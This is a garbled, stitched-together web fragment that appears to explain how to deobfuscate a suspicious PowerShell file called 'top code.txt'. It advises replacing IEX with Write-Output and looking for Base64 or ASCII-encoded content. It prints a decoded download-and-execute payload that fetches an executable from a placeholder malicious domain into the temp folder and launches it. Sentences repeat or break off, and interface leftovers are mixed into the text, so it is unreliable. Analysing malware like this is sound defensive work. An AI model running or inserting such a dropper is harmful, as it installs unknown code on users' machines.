Action : Replace the IEX (Invoke-Expression) at the start of the script with Write-Output or echo to print the decoded string to the terminal instead of executing it.
$url = "http://malicious-domain.xyz" $path = "$env:TEMP\update.exe" (New-Object System.Net.WebClient).DownloadFile($url, $path) Start-Process $path Use code with caution. Copied to clipboard Download new top code txt
The script may use ASCII decimal codes.
If the code starts with something like powershell -e or eval() , the content is likely Base64 encoded . Action : Replace the IEX (Invoke-Expression) at the
The domain or IP address hidden in the string variables. Download new top code txt
Opening the top code.txt file usually reveals a mess of characters, often using: